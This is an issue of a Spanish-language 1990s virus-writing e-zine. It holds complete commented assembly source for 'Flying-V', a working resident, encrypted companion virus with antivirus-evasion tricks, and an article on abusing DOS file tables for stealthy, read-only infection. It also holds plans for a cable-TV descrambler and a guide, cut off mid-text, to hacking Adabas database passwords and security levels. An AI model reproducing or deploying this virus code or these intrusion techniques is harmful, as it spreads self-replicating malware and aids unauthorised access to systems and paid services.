Minotauro Magazine Issue #7:
A Word from the Editors:

       Hi! esta vez podemos decir que no volvimos, sino que resucitamos ;)
Se atraso bastante la salida de este numero, por razones de fuerza mayor, en
otras palabras, demasiado tiempo larbeando sin hacer absolutamente nada,
justamente en los meses de enero, febrero ;) y bueh.. que se le va a hacer..
tambien somos humanos vio ?

       Volviendo al tema que nos incumbe en este momento (la programacion de
virus, por si todavia no lo sabian ;)) tenemos el orgullo de anunciar la salida
a la calle del Virus Oktubre. Por ahora no tenemos mas nada que decir al
respecto mas que teniamos pensado sacarlo como virus ejemplo de la nota de SFT
de Trurl, pero su autor, Bugs Bunny, se encari�o demasiado como para matarlo
publicandolo, asi que por un par de numeros, no hablaremos mas sobre el asunto.

       Mientras tanto les damos la segunda y ultima parte de la Mutator 1.0
para que terminen de redondear sus ideas con respecto al polimorfismo y les
queriamos dar un ejemplo de lo que NO hay que hacer, como el virus USA de
Anubis, que ya pasa al otro extremo, un poco de vagueza se puede llegar a
tolerar, pero para un tipo que contesta: "yo jamas dejo un fuente de un virus
mio" y hace algo tan terrible como esto, me hace pensar que no lo deja por
verg�enza, jajaja. No es por nada Anubis, pero bueno, es TU posicion y TU
virus.. que queres. Pero muy bien digo 'queriamos' ya que el source se
encuentra en el disco de Trurl cagandose de risa porque se le cago la maquina
:-) y bueh, esas cosas pasan, sino preguntenles a los de hbo. El resto de los
articulos, estan tambien en el indice y no necesitan mas explicacion que las
que ya poseen, asi que no les adelanto mas nada.

       Cambiando un poco de tema, conseguimos una edicion de la minotauro en
ingles dando vueltas por europa, y no fuimos nosotros justamente los que la
traducimos, asi que le agradecemos a Anathema por haberse tomado el trabajo de
traducirlas y redistribuirlas para el publico no-castellano (ya que tocamos
este tema, les pregunto si realmente es tan jodido el slang o lunfardo
argentino, ya que Anathema se queja de que no lo entiende ;), pero bueno).
Tambien le mandamos un caluroso saludo a Nekromancer, quien ha colaborado con
nosotros desde siempre y obviamente a todos ustedes por el apoyo que nos
brindan constantemente, asi que ya saben que son bienvenidos a cualquier bbs
de la red. Qu� red. Muchos de ustedes ya sabran que hace un par de meses que
funciona [dan]net gracias a la garra de Wma por habernos hinchado las pelotas
todos los dias tratando de que configuremos todo lo antes posible. Asi que
tambien se agradece ese esfuerzo infrahumano ;)

Dionysios I Hub (+54-1-253-4389), Digital Brain (+54-1-862-0644), Raw Power
(+54-1-238-2144), LSD BBS (+54-1-641-8668), OVNI BBS (+54-1-622-4344), Black
Future (+54-1-631-6245), Clown(+54-1-799-0277), Twilight Zone (+54-1-768-8639),
Dr. Jekill (+54-1-302-7403), The Best Trojan (+54-1-778-0562).

Puede ser que al dia de la fecha alguno de estos no exista mas, como el caso
de Dionysios 2, o que halla alguno que no figure en la presente lista ya que
fue sacada de un nodelist de por ahi... asi que, fuck off.

Indice:

       Editorial ..................................................... 000
       Virus Companion ............................................... 001
       Job File Table (JFT) System File Table (SFT) .................. 002
       Decoder para PLAYMOUSE/VENUS .................................. 003
       Adabas/Natural ................................................ 004
       Mutator 1.0 Segunda parte ..................................... 005
       Master Boot Record (MBR) ...................................... 006

  Drako, tgc [DAN]
         ^^^ I'm Sorry Trurl, i couldn't help it ;)

Minotauro Magazine #7:
                               Virus Companion
                                  Por WMA

       Bueno, en este art�culo vamos a discutir una clase de virus llamados
virus companion. Esta clase de virus existe gracias a una cualidad del DOS,
que es que si existen dos archivos con igual nombre pero uno con extensi�n .COM
y otro con extensi�n .EXE el archivo .COM ser� ejecutado primero.

Esta clase de virus gralmente. es no residente, y lo que hace es buscar
por archivos .EXE y crear una copia del virus pero con el nombre del .EXE
y oculto (atributo hidden); as� el usuario al ejecutar el .EXE en realidad
estar� ejecutando el virus, el cual luego de hacer sus cosas ejecutar� al
archivo .EXE correspondiente (con la funci�n 4B00h, int 21h).

Como ver�n el concepto es muy sencillo, cualquiera puede hacer esta clase
de virus, porq' en realidad no es ni un virus propiamente dicho, por esta
raz�n hasta hay peleas por la nomenclatura con las que se lo nombra.. ;)

Lo bueno de esta clase de virii, es que pueden infectar o acompa�ar a un
anti-virus, cosa q' los virus comunes no pueden, ya que los virus companion
no tocan al host, y el programa anti-virus no se entera de la presencia de
su compa�erito ;), mientras q' un virus comun tendr�a que modificar al
archivo del anti-virus y este al auto-chequearse al ser ejecutado dar�a
cuenta de la infecci�n.

Debido a lo anteriormente citado tambien son inmunes a los chequeadores
de integridad, ya que son un file mas.

Por la misma raz�n precinden de tecnicas de stealth de directorio.

Tambien al no necesitar delta offsets ni nada por el estilo, ya q' el
virus se copia completo a otro archivo, empezando en el mismo offset se
esquiban algunos flags que hacen saltar a los anti-virus.

Combinar un virus companion con uno parasitario ser�a una buena idea.

Lo b�sico que hay que saber para crear esta clase de 'virus' es saber lo q'
necesita la funci�n 4b00h de la int 21h para funcionar correctamente y unas
cositas del PSP:

La funcion para ejecutar un file requiere de estos parametros...

           AX = 4B00h
        DS:DX = Nombre del file a ejecutar (ASCIIZ)
        ES:BX = Bloque de parametros

La funci�n 4Bh tambien permite cargar un archivo sin ejecutarlo etc. por
medio de diferentes valores en AL (4B03h, 4B01h) pero eso no entra en la
idea de este art�culo.

Veamos, en DS:DX va el nombre del file a ejecutar, que no tiene ning�n mis-
-terio, y mirando el virus ejemplo que les dejo se dar�n cuenta. Lo �nico
que cabe remarcar, es que como el virus ejemplo que les dejamos es residen-
-te el buffer para guardar el filename no es de 13 bytes (filename+0), sino
de 128 bytes(127 del file+0). Esto es as� porque al ejecutarse en file el
DOS le pasa a la funci�n 4B00h el Full Path Name (x ej: C:\DOS\DEBUG.EXE)
y entonces si se esta ejecutando un file que est� en el path, y nosotros
solo consideramos el nombre del file en s�, sin el path, al crear el .COM
companion, lo crearemos en el path actual err�neamente y no en donde
corresponde. Los 127 bytes es porque la linea de comandos del DOS tiene
como m�ximo ese valor.

Luego ES:BX apunta a una tabla que debe tener la siguiente forma:

               dw xxx (segmento de entorno (enviroment)
               dw 80h (offset del command line)
               dw xxx (segmento)
               dw 5CH (FCB n�mero 1)
               dw xxx (segmento)
               dw 6Ch (FCB n�mero 2)
               dw xxx (segmento)

los valores marcados con 'xxx' son los que tendremos que establecer
nosotros, en nuestro virus, lo demas son fijos y los pondremos al crear
esta estructura que tenemos que agregar en nuestro virus.

El primer 'xxx' es el ENVIROMENT SEGMENT, o segmento de entorno, este es el
segmento en el que estan ubicados todos los 'SET' ;) que ponen uds. como x
ej. SET TZ=BUE3, ademas del nombre del file que esta siendo ejecutado, o
PARENT, ademas de otras cosas que son indocumentadas y no las se ;).

Para obtener este valor simplemente tenemos que leerlo del offset 2Ch del
PSP, como nuestro virus es un COM el segmento del PSP es el de CS=DS=ES=SS
asi que simplemente:

                   mov ax,word ptr cs:[2Ch]      ; en AX el seg de entorno

y luego ponemos el valor de AX en el lugar adecuado de nuestra tabla.

Luego viene el offset:segmento de la linea de comandos, que como todos
saben (saben?) esta en el offset 80h del PSP, lo unico que tenemos que
hacer es poner el segmento del PSP, de nuevo, como estamos en un COM le pa-
-samos el valor de CS.

Por si no lo saben la linea de comandos son todos esos switches tipo /NOMEM
etc. que le ponen a un programa al ejecutarlo. Se hace esto porque el
usuario al querer ejecutar su EXE estar� ejecutando nuestro virus .COM y si
el programa requiere de parametros, los perder�amos y el programa no fun-
-cionar�a como debe, pero asi al ejecutarse el virus el cmdline queda en
en el offset 80h, llenamos con estos datos la tabla y al ejecutar el EXE le
llegar�n los switches correctamente.

Por �ltimo, porque se me est� haciendo muy largo, la funci�n 4B00h necesita
2 FCB's, estos dos FCB's estan en los offsets 5Ch y 6Ch del PSP, lo �nico
que tiene que hacer el virus es poner los segmentos del PSP, o sea CS y
listo!.

Agg, termin�!,. si! ;), es medio tedioso todo esto, pero al fin, una vez
hecho todo esto tienen que liberar la memoria que no usan para que el file
a ejecutarse tenga lugar en donde hacerlo y punto, asi:

                  mov ah,4ah         ; modifico bloque de memoria alocado
                  mov bx,paraf       ; paragrafos que ocupa el virus
                  int 21h            ; (1 paragrafo son 16 bytes)

Listo!, ahora ejecutan la funcion 4B00h como se debe, y se acab�.
Lo �ltimo a tener es cuenta es que la funci�n 4b00h, nos devuelve el con-
-trol a nosotros despu�s de ejecutar el file, si es que este termina con
la funci�n 4Ch de la int 21h (cosa que la mayor�a de los programas hacen ,
mas si son .EXE's :)), asi que luego de la ejecuci�n del HOST conviene
poner un RET para terminar el virus sin errores.

En este art�culo les dejo el source del virus Flying-V, q' es un virus
residente, encriptado, y por supuesto companion. ;).

Realmente el virus es MUY sencillo, asi q' creo q' la explicaci�n anterior
alcanza y sobra para entenderlo, ademas el source est� correctamente
comentado.

El virus esta hecho para el A86, asi q' ensamblenlo con este. ;)

;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Virus Flying-V por WM� [DAN]               (c) 1994, Rep�blica Argentina
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
;                 (c) Digital Anarchy Viral development
;          Especialmente hecho para MinoTauro Magazine Issue #5 <- jajaja 5=7
;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

; � Tama�o: 633 bytes
; � Residente
; � Hookea int 21h (infecta al ejecutarse)
; � Virus Companion  (a .EXE's ;))
; � Encriptado
; � Stealth de Memoria

; Los .COM creados tienen atributo Hidden y Read Only, as� si un archivo
; ya tiene su compa�ero .COM con un simple JC me doy cuenta y no pierdo
; tiempo en crear nuevamente el .COM


ID   equ  0ffeeh                                ; ID del virus en memoria


flyingv:
             cmp b[key],0                      ; si es la primera ejecu-
             je crypted                        ; ci�n no desencripto nada.
             jmp skip

key           db    0                           ; key de encripci�n.

skip:
             mov al,key                        ; Key de encripci�n.
             lea bx,crypted                    ; Codigo a desencriptar.
             mov dx,cryp_size                  ; Longitud del codigo a
             xchg cx,dx                        ; desencriptar. Anti-Fprot

decrypt:      xor cs:[bx],al                    ; desencripto.
             inc bx                            ; paso al proximo byte.
             loop decrypt
crypted:
             mov cx,ID                         ; Me fijo si estoy residen.
             mov ax,cx                         ; Anti-tbav, flag U
             int 21h
             cmp bx,ID                         ; ya estoy en memoria,
             je exec_exe                       ; ejecutamos el .EXE

             mov ax,3521h                      ; pedimos vector int 21h
             int 21h

             mov word ptr cs:old21,bx          ; guardamos el vector
             mov word ptr cs:old21+2,es

             push cs
             pop es

             mov di,es                         ; stealth de memoria
             dec di                            ; no me pidan q'
             mov es,di                         ; lo comento de nuevo
             mov bx,es:[3h]                    ; por favor.. ;)
             sub bx,virpara1

             inc di
             mov es,di

             mov ah,4ah
             int 21h

             mov bx,virpara
             mov ah,48h
             int 21h

             dec ax
             mov es,ax

             mov byte ptr es:[1h],8

             sub ax,0fh                        ; Copiamos el virus
             mov es,ax                         ; a memoria.
             mov si,100h
             mov di,si
             mov cx,virlen
             rep movsb

             push es
             pop ds

             mov ax,2421h                      ; instalamos nuestro
             inc ah                            ; handler int 21h
             lea dx,Newi21                     ; anti-tbav, flag M
             int 21h

exec_exe:
             push cs,cs
             pop ds,es

             mov ax,cs:w[2Ch]                  ; guardo el segmento
             mov cs:[Seg_del_PSP],ax           ; del PSP

             mov cs:[Seg_CmdLine],cs           ; guardo segmentos
             mov cs:[Seg_FCB1],cs              ; de los demas
             mov cs:[Seg_FCB2],cs              ; pointers.

             mov ah,4ah                        ; liberamos memoria
             mov bx,virpara+1                  ; no usada.
             int 21h

             mov ax,4b00h                      ; ejecutamos el file.
             mov dx,offset exe_name            ; file a ejecutar
             mov bx,offset Seg_del_PSP         ; Bloque de Parametros
             int 21h                           ; Listo!

             ret


;-- Data ------------------------------------------------------------------

Seg_del_PSP  dw 0                               ; segmento del PSP

Command_line dw 80h                             ; offset del CmdLine (Default)
Seg_CmdLine  dw 0                               ; segmento

_File1       dw 005Ch                           ; offset del FCB #1 (Default)
Seg_FCB1     dw 0                               ; segmento

_File2       dw 006Ch                           ; offset del FCB #2 (Default)
Seg_FCB2     dw 0                               ; segmento

Exe_name    db 'EXE     .EXE',0,114 dup (0h)    ; file a ejecutar
open_name   db 'EXE     .COM',0,114 dup (0h)    ; buffer

virname     db 'Flying-V �y WM� [DAN]'          ; yo ;D

;--------------------------------------------------------------------------

;-- Handler int 21h -------------------------------------------------------

Newi21:
              cmp ax,ID                        ; verificaci�n de
              jne try                          ; residencia.
              mov bx,ID
              iret

try:           cmp ax,4b00h                     ; vamos a crear un
              je kick_ass                      ; compa�ero.. ;)

              jump: db 0eah                    ; Saltamos a la int 21h
              old21 dd ?

g2:            jmp done

kick_ass:      push ax,bx,cx,dx,si,di,ds,es     ; guardamos registros

              mov si,dx                        ; encontramos la
search:        lodsb                            ; extensi�n del file.
              cmp al,0
              je g2
              cmp al,'.'
              jne search

              cmp word ptr ds:[si],'XE'        ; verificamos si es un
              jne done                         ; .EXE, si no es nos
              cmp byte ptr ds:[si+2],'E'       ; vamos.
              jne done

              push cs
              pop es

              xor cx,cx                        ; copiamos el nombre
              lea di,exe_name                  ; del file a nuestro
              mov si,dx                        ; buffer para despues
save_name:     lodsb                            ; ejecutarlo.
              cmp al,0
              je mute_2_com
              stosb
              inc cx
              jmp save_name

mute_2_com:    stosb                            ; lo copiamos tambien
              inc cx                           ; al segundo buffer para
              lea di,open_name                 ; crear el .COM con
              mov si,dx                        ; el mismo nombre.
              rep movsb

              push cs                          ; buscamos la extensi�n del
              pop ds                           ; file para cambiarsela
              lea si,open_name                 ; a .COM y crear el .COM
find_ext:      lodsb
              cmp al,'.'
              jne find_ext

              mov word ptr ds:[si],'OC'        ; le ponemos la
              mov byte ptr ds:[si+2],'M'       ; extension .COM

fin:
              mov ah,3Ch                       ; creamos el
              mov cx,23h                       ; .COM
              lea dx,open_name
              int 21h                          ; si ya existe el .COM
              jc done

              xchg bx,ax                       ; handle en bx

              mov ax,8d00h                     ; copiamos el
              mov es,ax                        ; virus a una
              mov di,100h                      ; zona no usada de
              mov si,di                        ; memoria para
              mov cx,virlen                    ; encriptarlo.
              rep movsb

again:         in al,40h                        ; tomamos un valor
              cmp al,0                         ; aleatorio. si es 0
              je again                         ; buscamos otro.

              mov es:key,al                    ; encriptamos la
              lea di,crypted                   ; parte del virus
              mov cx,cryp_size                 ; q' hay q' encriptar
crypt:         xor es:[di],al                   ; en el buffer en
              inc di                           ; memoria
              loop crypt

              push es
              pop ds

              lea dx,flyingv                   ; escribimos el virus
              mov cx,virlen                    ; encriptado.
              mov ah,3fh                       ; anti-tbav, flag F
              inc ah
              int 21h

              mov ah,3eh                       ; cerramos el file
              int 21h

done:

              pop es,ds,di,si,dx,cx,bx,ax      ; restauramos registros
              jmp jump                         ; saltamos a la int 21h

cryp_size equ $ - offset crypted
virlen    equ $ - offset flyingv
virpara   equ (virlen+15)/16
virpara1  equ virpara+1

Que lo disfruten! ;).
                                                      bye!.. WM� [DAN]
Minotauro Magazine #7:

                  System File Tables y Job File Tables
                                Por Trurl


    La SFT (Sistem File Table) es una estructura indocumentada que el DOS
utiliza para hacer todo el manejo de files (ya sea por handles o por FCB),
y la JFT (Job File Table, o tambi�n File Handle Table) es otra estructura
del DOS, utilizada para asociar handles y SFTs. En este articulo les voy a
explicar el Donde, Como, Cuando y Porque de las SFT y JFT, para que ustedes
puedan divertirse con ellas en sus virus.

JFT - JOB FILE TABLES (O FILE HANDLE TABLES)
    La Job File Table, o File Handle Table, se encuentra la mayor�a de las
veces en el offset 18h del PSP. (quiz� en sus tablas lo encuentren como una
zona indocumentada). En el offset 34h esta el llamado "Handle Table
Address" que no es mas que un puntero far a la JFT. Y en el offset 32h van
a encontrar un word, llamado "Handle Count" que es el m�ximo posible de
entradas dentro de la JFT. (20 por defecto, pero puede variar).
    El Handle Table Address y el Handle Count no son de demasiada impor-
tancia. Est�n para que uno pueda, si quiere, cambiar la JFT de lugar, y
agregarle mas handles (mas de los que el sistema en principio podr�a
aguantar: esto no quiere decir que uno puede abrir mas files que los del
FILES= del CONFIG, sino que puede abrirlos mas VECES. El FILES= determina
el n�mero m�ximo de SFTs del sistema, que no varia). A partir de DOS 3.3 no
es necesario siquiera hacerlo a mano, pues existe una funci�n especifica
para cambiar la JFT de lugar (AH=67h/INT 21h).
    Ahora bien, la JFT es una tabla de (por default) 20 bytes. Cada byte,
es una entrada. Un "handle" com�n y corriente, de un file abierto, sirve
como �ndice en esta tabla. Y de ella extraemos un n�mero, que no es mas que
un �ndice dentro de las System File Tables del DOS, para encontrar la SFT
de nuestro file. (llamado a veces "System File Number", SFN).
    Veamos un ejemplo. Yo abro dos veces el file "ABRIME.TXT", obteniendo
2 handles: 0005, y 0006. Luego abro un segundo file "ABRIME2.TXT", y
obtengo un handle 0007. Luego me fijo en el PSP:

    PSP:34 -> nos da un address, que es por lo general PSP:18

    offset handle contenido  descripci�n
    PSP:18 0000   �����<01   STDIN
    PSP:19 0001   �����<01   STDOUT
    PSP:1A 0002   �����<01   STDERR
    PSP:1B 0003   �����<00   AUX I/O
    PSP:1C 0004   �����<02   LSTOUT
    PSP:1D 0005   �����<03   FILE "ABRIME.TXT", primer handle
    PSP:1E 0006   �����<03   FILE "ABRIME.TXT", segundo handle
    PSP:1F 0007   �����<04   FILE "ABRIME2.TXT", primer handle
    PSP:20 0008   ����� FF   handle invalido
    PSP:.. ....   ����� FF   ...
    PSP:2C 0014   ����� FF   handle invalido
                  �����
                  ����� SFTs
                  �����>0    AUX
                  �����>1    CON
                    ���>2    PRN
                     ��>3    ABRIME.TXT
                      �>4    ABRIME2.TXT

    Como vemos, STDIN, STDOUT, Y STDERR est�n los tres direccionados hacia
la misma SFT, que es la 1, y corresponde al device CON. A su vez, el handle
3 (AUX I/O) esta direccionado al device AUX, y el LSTOUT, al device PRN. Y
LOS DOS HANDLES que el DOS me dio por las dos veces que abr� ABRIME.TXT
est�n direccionados a la misma SFT: la 3, mientras que la 4 corresponde al
file ABRIME.TXT. Adem�s, esto nos permite entender que es lo que pasa
cuando hacemos una redirecci�n en l�nea de comandos: si yo pongo PROGRAMA
>SALIDA.TXT, en el offset 1 de la JFT en vez de haber un 1, habr� alg�n
otro n�mero, lo cual significa que STDOUT estar� redireccionado a alguna
SFT correspondiente al file SALIDA.TXT, en lugar de estar direccionado a
CON.
    En definitiva la JFT no tiene ning�n uso por si misma: sirve para
encontrar la SFT de un file :-).

SFT - SYSTEM FILE TABLES
    El DOS mantiene todos los datos relevantes al manejo de files y
devices en estas dos tablas. La primera es para device drivers y files
abiertos v�a handle, y la segunda para FCB. Las tablas no tienen diferen-
cias entre si, excepto en un par de detalles. La incre�ble variedad y
abundancia de datos de todos tipo que hay en este tabla hace que en
realidad tenga un amplio espectro de aplicaci�n, que se la pueda usar para
infinidad de cosas. El �nico aspecto negativo es que es indocumentada, y
por lo tanto no se sabe que pasara con ella en el futuro.
    La direcci�n de las dos listas de tablas (la de handle y la de FCB) se
encuentra en la list of lists, en los offset 4 y 22h respectivamente.

SFT - FORMATO (Sacado de la NG de Ralph Brown obviamente)
Format of DOS 4.0-6.0 system file tables and FCB tables
Offset Size    Description
00h   DWORD   pointer to next file table (offset FFFFh if last)
04h   WORD    number of files in this table
06h  3Bh bytes per file
  Offset  Size    Description
   00h    WORD    number of file handles referring to this file
                  FFFF if in use but not referenced
   02h    WORD    file open mode (see AH=3Dh)
            bit 15 set if this file opened v�a FCB
   04h    BYTE    file attribute (see AX=4301h)
   05h    WORD    device info word (see also AX=4400)
       bit 15 set if remote file
       bit 14 set means do not set file time/date on closing
       bit 13 set if named pipe
       bit 12 set if no inherit
       bit 11 set if network spooler
       bit 7  set if device, clear if file (only if local)
       bits 6-0 as for AX=4400h
   07h    DWORD   pointer to device driver header if character device
       else pointer to DOS Drive Parameter Block (see AH=32h)
       or REDIR data
   0Bh    WORD    starting cluster of file (local files only)
   0Dh    WORD    file time in packed format (see AX=5700h)
   0Fh    WORD    file date in packed format (see AX=5700h)
   11h    DWORD   file size
   15h    DWORD   current offset in file (SFT)
          LRU counters (FCB tables, two WORDs)
  ---local file---
   19h    WORD    relative cluster within file of last cluster accesed
   1Bh    DWORD   number of sector containing directory entry
   1Fh    BYTE    number of dir entry within sector (byte offset/32)
  ---network redirector---
   19h    DWORD   pointer to REDIRIFS record
   1Dh  3 BYTEs   ???
  ------
   20h 11 BYTEs   filename in FCB format (no path/period, blank-padded)
   2Bh    DWORD   (SHARE.EXE) pointer to previous SFT sharing same file
   2Fh    WORD    (SHARE.EXE) network machine number wich opened file
          (Windows Enhanced mode DOSMGR uses the virtual machine
       ID as the machine number, see INT 2F/AX=1683h)
   31h    WORD    PSP segment of file's owner (see AH=26) (first three
       entries for AUX/CON/PRN contain segment of IO.SYS
       startup code)
   33h    WORD    offset within SHARE.EXE segment of
       sharing record (see above)  0000h = none
   35h    WORD    (local) absolute cluster number of last clustr accessed
       (redirector) ???
   37h    DWORD   pointer to IFS driver for file, 0000000h if native DOS

Note:  the OS/2 2.0 DOS Boot Session does not properly fill in the filename
    field due to incomplete support for SFTs; the OS/2 2.0 DOS Window
    does not appear to support SFTs at all

SFT - ENCONTRANDOLAS
    Hay una sola forma de encontrar la SFT de un file: Primero conseguir
el SFN y luego usarlo dentro de las SFT del DOS para encontrar la que
queremos. Esto a su vez puede hacerse de dos maneras.
    La primera es a mano: Obteniendo el segmento del PSP (mediante
AH=62/INT 21, o directamente en DS, depende), y dentro de �l buscar la JFT
y de ah� sacar el SFN del file. Luego conseguir la direcci�n de las SFT
(mediante la "List of Lists", AH=52/INT 21) e ir recorri�ndolas hasta
llegar al n�mero de tabla deseado. Las SFT est�n organizadas en bloques:
cada bloque puede contener varias tablas y puede haber varios bloques. El
puntero presente en la "List of Lists" nos lleva al primer bloque. Cada
bloque tiene un header de 6 bytes, donde los 4 primeros son un puntero far
al siguiente bloque (siendo -1 el offset en el caso de que sea el �ltimo),
y la ultima word contiene el n�mero de tablas en el bloque. Ver el siguien-
te c�digo:

findsft: ; encontrando la SFT de un handle "a mano"
; entrada: bx=handle
; salida: carry=1, invalid handle, si carry=0, ES:BX->SFT
    mov di, bx
    mov ah, 62h
    int 21h
    mov es, bx
    les bx, es:[34h]
    mov al, es:[bx+di]
    cbw
    cmp ax, -1
    jz invalidhandle
    push ax
    mov ah, 52h
    int 21h
    pop ax
    cwd
    les bx, es:[bx+4] ; handle SFT
goon:
    add dx, word ptr es:[bx+4]
    cmp dx, ax
    jng nextblock
    sub dx, word ptr es:[bx+4]
    sub ax, dx
    mov cx, ax
    add bx, 6
    jcxz noloop
addit:
    add bx, 3bh
    loop addit
noloop:
    clc
    ret
    ; es:bx -> SFT
nextblock:
    les bx, es:[bx]
    jmp goon
invalidhandle:
    stc
    ret

    La otra forma es la f�cil: usando funciones no documentadas que hagan
todo por nosotros. La funci�n AX=1220 de INT 2F retorna, a partir de un
handle dado, el address absoluto de la entrada de la JFT particular para
ese handle. A partir de ah�, con una instrucci�n, obtenemos el SFN. Luego
hay otra funci�n, AX=1216h tambi�n de INT 2F, que retorna el address de la
SFT para un SFN particular. Todo hecho. Ver el siguiente c�digo:

findsft: ; finding it the easy way
    ; bx=handle
    mov ax, 1220h  ; obtenemos la entrada particular dentro de
    int 2fh        ; la JFT para el file en ES:BX
    xor bx, bx
    mov bl, es:[bx] ; cargamos en BX el SFN
    mov ax, 1216h  ; obtenemos el address de la SFT del file
    int 2fh
    ; ES:DI->SFT

    La desventaja de buscar la SFT a mano es que es mucho c�digo en
comparaci�n al otro. En cambio, lo malo de la INT 2F es que es indocumenta-
da, y no muy confiable (es que el c�digo ha sido usado tanto que, por
ejemplo, el TBAV 6.24 detectaba el c�digo mas arriba de INT 2F como el
Darth Vader. Osea, el c�digo mas arriba constitu�a la STRING DEL DARTH
VADER para el TBAV 6.24. En el 6.30 me consta que lo han solucionado, pero
personalmente me da mala espina :-)). Por otro lado, en todo otro aspecto
las dos v�as son totalmente similares. Queda en cada uno usar la que mas le
convenga.

SFT - USOS
    Como se puede ver en la tabla, hay tantos datos distintos que la SFT
puede ser �til para muchas cosas. Por ejemplo, un uso practico de todos los
d�as en virus, puede ser la cuesti�n de infectar Read Only o evitar la
modificaci�n de la fecha de un file al infectar. En lugar de usar AH=57 y
AH=43, puede abrirse el file solo para lectura, y luego cambiarse el modo
de apertura en la SFT a r/w (con esto se puede infectar Read Only sin
cambiarle los atributos, con la ventaja de que algunos AV residentes no se
mosquean si uno abre un ejecutable solo para lectura), y luego cambiar el
bit 14 del word en el offset 5, haciendo que no se actualice la fecha/hora
del file.
    Otros usos mucho mas complicados e interesantes son posibles. Por
ejemplo, el amigo Bugs Bunny en su virus mas reciente, el Oktubre, que
incluir�amos en este n�mero, utiliza la SFT para hacer un stealth del tipo
disinfect-on-the-fly. Lo que hace Bugs es abrir el file cuando se lo piden,
pero restarle el largo del virus al size reportado en la SFT: de esta
forma, la ultima parte del file (que contiene al virus) no existe para el
sistema; no se la puede acceder. Eso, y una sencilla intercepci�n para
evitar que lean el principio del file (donde hay un JMP o un Header
modificado), y hacer que lean en su lugar lo que originalmente all� hab�a,
hace que efectivamente, el virus sea full stealth. Y ahora, a mirar la
tabla y usar la imaginaci�n!
                                                          Trurl, tgc [DAN]

Nota: Quisiera agradecer a Fernando Bonsembiante por la amable nota de mi
virus EMMA aparecida en un reciente n�mero de su revista Virus Report.
Procuraremos seguir publicando virus experimentales para seguir d�ndote
material para un par de notas mas, y para que nos sigas promocionando y
haciendo famosos, cosa que nos merecemos, por cierto. :-). (sarcasm is my
middle name)

-------------------------------------------------------------------------------
Nota2: La nota 1 fue escrita antes de que se oficialize la muerte de VR, que
por cierto lamentamos profundamente (?) ;) ahora fuera de joda, una cagada
que no salga mas, pero bueno, no todo se puede en la vida: ser amigo de Fabian
Garcia y robar con la VR, que mas podias pedir ? :-)Minotauro Magazine #7:

                       PLAYMOUSE/VENUS Decoder Plans

       Hi. Bueno sin entrar en detalles pasamos a exponer un simple
decodificar de PLAYMOUSE o como se llame. Esto es asi pues si usted paga por
65 canales, porque no verlos todos. Se basa en que debemos tener una fuente de
video compuesto y de audio. Dicho de otra manera una video con salida de audio
y video por ejemplo. Tambien debemos poseer un televisor que acepte video y
audio externo. La informacion de video se encuentra a felicidad nuestra sin
ningun tipo de codificacion. De esta manera el AUDIO OUT de la video se conecta
al AUDIO IN del TV. Para el video debemos recurrir a utilizar el circuito
descripto en el file DECODER.GIF.

       La funcion de este circuito es basicamente la de invertir la se�al de
video. Esto es asi para lograr el pulso de sincronismo horizontal correcto.
Esto no es lo correcto por lo cual el circuito funciona en escala de 1 a 10,
7 puntos. Pero aseguro que se ve, y muy bien por los 10 pesos que sale armarlo
y la hora de tiempo empleada.

       Bueno una vez armado con POT2 ajustamos el nivel de senal adecuado y
con POT1 el nivel adecuado de continua de la se�al invertida. Para los que no
esten en tema solo ajusten a prueba y error con lo cual obtendran el mejor
ajuste por experimentacion. Tranquilos que no se quema nada.
El funcionamiento es sencillo con la video sintonizan (en mi cable canal 35 y
33) el televisor lo ponen en modo video y listo.

       Aclaracion: en el circuito la pata 2 de u1 es la pata 1, pero el orcad
lo tira como pata 2 ...

PD: Como ya les hemos dicho, estas notas maduraron dentro del disco de drako ;)
Ahora los de Cable Vision (c) hinchan un poco mas las pelotas, porque cada 3
minutos aproximandamente, invierten solo la imagen, quedando la mitad del
tiempo la imagen en negativo.. No es gran problema.. el gran problema esta vez
es el tiempo.. Si nos poniamos a hacer la boludez esta, se iba a retrasar mas
todavia este numero, asi que mandamos el circuito como lo teniamos.. les
prometemos el decoder full para el proximo numero, o el proximo-proximo, etc :)
Minotauro Magazine #7:

                            Hacking Adabas/Natural
                               por Mantis King

       A medida que "trabajaba" sobre el sistema y consegu�a informaci�n
t�cnica iba escribiendo toda esta informaci�n en los bordes de hojas diario,
papeles de chocolate, borradores diversos, etc. y as� fue como la guard� en mi
prolijo archivo :). Ahora que la estoy pasando en limpio muchas veces no me
entiendo la letra, y me cuesta un poco relacionar los distintos papelitos asi
que sorry si este texto tiene algunos errores. Y si no te gusta es muy sencillo
vieja, pasas de largo y seguis leyendo Minotauro � OK ?

% Adabas %

       Toda la info. que vas a encontrar se refiere a la versi�n 5.2.5. Si
pensas hackear un ambiente Adabas, podes encontrar 15 niveles distintos de
seguridad. El nivel de seguridad lo elige el administrador del sistema cuando
instala el software. Estos niveles de seguridad (entre 0 y 14) est�n asociados
con el password de cada usuario. Cada password puede tener diferentes niveles
para lectura y para escritura. Si conseguiste un password y queres ver los
derechos que tiene este password tipe�:

ADASCR PFILES PW = password

De la misma forma, tambi�n los archivos o campos de un archivo pueden tener
diferentes niveles de acceso, en un rango desde 0 (sin seguridad) hasta 14
(la seguridad m�s alta). Si quer�s encontrar donde est�n los archivos
sensitivos, esos que realmente te gustar�a ver que guardan informaci�n
confidencial, lo que tendr�as que hacer es identificar los que tienen la
seguridad mas alta. Para ver los niveles de protecci�n de los archivos de la
base de datos podes usar el comando:

ADASCR PFILES

Look at this ! En Adabas podes visualizar todos los passwords, lo
�nico que tenes que hacer es usar este comando:

ADASCR PPW CODE = dbacode

Eeeh ! Te la creiste eh ???. No es tan facil, dbacode es un c�digo que el
software le da al administrador de la base cuando instala el Adabas. Si
conseguis uno vas a poder hacer cosas m�s que interesantes. Si quer�s cambiar
algo en los datos almacenados en la base de datos te comento lo siguiente.
Primero que nada, los verdaderos hackers solo curiosean la informaci�n de los
sistemas, no la cambian...pero, es tu desici�n. Segundo, puede ser que el DBA
